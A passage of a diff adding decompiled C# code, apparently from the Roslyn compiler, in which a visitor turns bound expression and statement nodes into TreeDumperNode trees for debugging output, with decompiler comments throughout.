TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDefaultLiteral(BoundDefaultLiteral node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("defaultLiteral", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDefaultExpression(BoundDefaultExpression node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + return new TreeDumperNode("defaultExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("targetType", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.TargetType, null) }), + new TreeDumperNode("constantValueOpt", (object)node.ConstantValueOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitIsOperator(BoundIsOperator node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Expected O, but got Unknown + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Expected O, but got Unknown + return new TreeDumperNode("isOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("operand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Operand, null) }), + new TreeDumperNode("targetType", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.TargetType, null) }), + new TreeDumperNode("conversionKind", (object)node.ConversionKind, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitAsOperator(BoundAsOperator node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Expected O, but got Unknown + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Expected O, but got Unknown + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Expected O, but got Unknown + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Expected O, but got Unknown + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Expected O, but got Unknown + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Expected O, but got Unknown + return new TreeDumperNode("asOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[7] + { + new TreeDumperNode("operand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Operand, null) }), + new TreeDumperNode("targetType", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.TargetType, null) }), + new TreeDumperNode("operandPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.OperandPlaceholder, null) }), + new TreeDumperNode("operandConversion", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.OperandConversion, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSizeOfOperator(BoundSizeOfOperator node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + return new TreeDumperNode("sizeOfOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("sourceType", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.SourceType, null) }), + new TreeDumperNode("constantValueOpt", (object)node.ConstantValueOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitConversion(BoundConversion node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Expected O, but got Unknown + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Expected O, but got Unknown + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Expected O, but got Unknown + //IL_00e4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ea: Expected O, but got Unknown + //IL_00fe: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Expected O, but got Unknown + //IL_0118: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Expected O, but got Unknown + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + //IL_0124: Expected O, but got Unknown + return new TreeDumperNode("conversion", (object)null, (IEnumerable)(object)new TreeDumperNode[11] + { + new TreeDumperNode("operand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Operand, null) }), + new TreeDumperNode("conversion", (object)node.Conversion, (IEnumerable)null), + new TreeDumperNode("isBaseConversion", (object)node.IsBaseConversion, (IEnumerable)null), + new TreeDumperNode("@checked", (object)node.Checked, (IEnumerable)null), + new TreeDumperNode("explicitCastInCode", (object)node.ExplicitCastInCode, (IEnumerable)null), + new TreeDumperNode("constantValueOpt", (object)node.ConstantValueOpt, (IEnumerable)null), + new TreeDumperNode("conversionGroupOpt", (object)node.ConversionGroupOpt, (IEnumerable)null), + new TreeDumperNode("originalUserDefinedConversionsOpt", (object)node.OriginalUserDefinedConversionsOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitReadOnlySpanFromArray(BoundReadOnlySpanFromArray node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + return new TreeDumperNode("readOnlySpanFromArray", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("operand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Operand, null) }), + new TreeDumperNode("conversionMethod", (object)node.ConversionMethod, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitArgList(BoundArgList node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("argList", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitArgListOperator(BoundArgListOperator node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Expected O, but got Unknown + return new TreeDumperNode("argListOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("arguments", (object)null, node.Arguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("argumentRefKindsOpt", (object)node.ArgumentRefKindsOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitFixedLocalCollectionInitializer(BoundFixedLocalCollectionInitializer node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Expected O, but got Unknown + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Expected O, but got Unknown + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Expected O, but got Unknown + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Expected O, but got Unknown + return new TreeDumperNode("fixedLocalCollectionInitializer", (object)null, (IEnumerable)(object)new TreeDumperNode[8] + { + new TreeDumperNode("elementPointerType", (object)node.ElementPointerType, (IEnumerable)null), + new TreeDumperNode("elementPointerPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ElementPointerPlaceholder, null) }), + new TreeDumperNode("elementPointerConversion", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ElementPointerConversion, null) }), + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("getPinnableOpt", (object)node.GetPinnableOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSequencePoint(BoundSequencePoint node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected O, but got Unknown + return new TreeDumperNode("sequencePoint", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("statementOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.StatementOpt, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSequencePointWithSpan(BoundSequencePointWithSpan node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + return new TreeDumperNode("sequencePointWithSpan", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("statementOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.StatementOpt, null) }), + new TreeDumperNode("span", (object)node.Span, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSavePreviousSequencePoint(BoundSavePreviousSequencePoint node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Expected O, but got Unknown + return new TreeDumperNode("savePreviousSequencePoint", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("identifier", node.Identifier, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitRestorePreviousSequencePoint(BoundRestorePreviousSequencePoint node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Expected O, but got Unknown + return new TreeDumperNode("restorePreviousSequencePoint", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("identifier", node.Identifier, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitStepThroughSequencePoint(BoundStepThroughSequencePoint node, object? arg) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + return new TreeDumperNode("stepThroughSequencePoint", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("span", (object)node.Span, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitBlock(BoundBlock node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Expected O, but got Unknown + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Expected O, but got Unknown + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Expected O, but got Unknown + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Expected O, but got Unknown + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Expected O, but got Unknown + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Expected O, but got Unknown + return new TreeDumperNode("block", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("locals", (object)node.Locals, (IEnumerable)null), + new TreeDumperNode("localFunctions", (object)node.LocalFunctions, (IEnumerable)null), + new TreeDumperNode("hasUnsafeModifier", (object)node.HasUnsafeModifier, (IEnumerable)null), + new TreeDumperNode("instrumentation", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Instrumentation, null) }), + new TreeDumperNode("statements", (object)null, node.Statements.Select((BoundStatement x) => Visit(x, null))), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitScope(BoundScope node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Expected O, but got Unknown + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Expected O, but got Unknown + return new TreeDumperNode("scope", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("locals", (object)node.Locals, (IEnumerable)null), + new TreeDumperNode("statements", (object)null, node.Statements.Select((BoundStatement x) => Visit(x, null))), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitStateMachineScope(BoundStateMachineScope node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + return new TreeDumperNode("stateMachineScope", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("fields", (object)node.Fields, (IEnumerable)null), + new TreeDumperNode("statement", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Statement, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitLocalDeclaration(BoundLocalDeclaration node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Expected O, but got Unknown + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Expected O, but got Unknown + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + //IL_00d8: Expected O, but got Unknown + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Expected O, but got Unknown + TreeDumperNode[] obj = new TreeDumperNode[6] + { + new TreeDumperNode("localSymbol", (object)node.LocalSymbol, (IEnumerable)null), + new TreeDumperNode("declaredTypeOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.DeclaredTypeOpt, null) }), + new TreeDumperNode("initializerOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.InitializerOpt, null) }), + default(TreeDumperNode), + default(TreeDumperNode), + default(TreeDumperNode) + }; + IEnumerable enumerable; + if (!node.ArgumentsOpt.IsDefault) + { + enumerable = node.ArgumentsOpt.Select((BoundExpression x) => Visit(x, null)); + } + else + { + IEnumerable enumerable2 = Array.Empty(); + enumerable = enumerable2; + } + obj[3] = new TreeDumperNode("argumentsOpt", (object)null, enumerable); + obj[4] = new TreeDumperNode("inferredType", (object)node.InferredType, (IEnumerable)null); + obj[5] = new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null); + return new TreeDumperNode("localDeclaration", (object)null, (IEnumerable)(object)obj); + } + + public override TreeDumperNode VisitMultipleLocalDeclarations(BoundMultipleLocalDeclarations node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Expected O, but got Unknown + return new TreeDumperNode("multipleLocalDeclarations", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("localDeclarations", (object)null, node.LocalDeclarations.Select((BoundLocalDeclaration x) => Visit(x, null))), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitUsingLocalDeclarations(BoundUsingLocalDeclarations node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Expected O, but got Unknown + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Expected O, but got Unknown + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Expected O, but got Unknown + return new TreeDumperNode("usingLocalDeclarations", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("patternDisposeInfoOpt", (object)node.PatternDisposeInfoOpt, (IEnumerable)null), + new TreeDumperNode("awaitOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.AwaitOpt, null) }), + new TreeDumperNode("localDeclarations", (object)null, node.LocalDeclarations.Select((BoundLocalDeclaration x) => Visit(x, null))), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitLocalFunctionStatement(BoundLocalFunctionStatement node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Expected O, but got Unknown + return new TreeDumperNode("localFunctionStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("symbol", (object)node.Symbol, (IEnumerable)null), + new TreeDumperNode("blockBody", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.BlockBody, null) }), + new TreeDumperNode("expressionBody", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ExpressionBody, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitNoOpStatement(BoundNoOpStatement node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + return new TreeDumperNode("noOpStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("flavor", (object)node.Flavor, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitReturnStatement(BoundReturnStatement node, object? arg) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Expected O, but got Unknown + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + return new TreeDumperNode("returnStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("refKind", (object)node.RefKind, (IEnumerable)null), + new TreeDumperNode("expressionOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ExpressionOpt, null) }), + new TreeDumperNode("@checked", (object)node.Checked, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitYieldReturnStatement(BoundYieldReturnStatement node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected O, but got Unknown + return new TreeDumperNode("yieldReturnStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitYieldBreakStatement(BoundYieldBreakStatement node, object? arg) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Expected O, but got Unknown + return new TreeDumperNode("yieldBreakStatement", (object)null, (IEnumerable)Array.Empty()); + } + + public override TreeDumperNode VisitThrowStatement(BoundThrowStatement node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected O, but got Unknown + return new TreeDumperNode("throwStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("expressionOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ExpressionOpt, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitExpressionStatement(BoundExpressionStatement node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected O, but got Unknown + return new TreeDumperNode("expressionStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitBreakStatement(BoundBreakStatement node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Expected O, but got Unknown + return new TreeDumperNode("breakStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("label", (object)node.Label, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitContinueStatement(BoundContinueStatement node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing 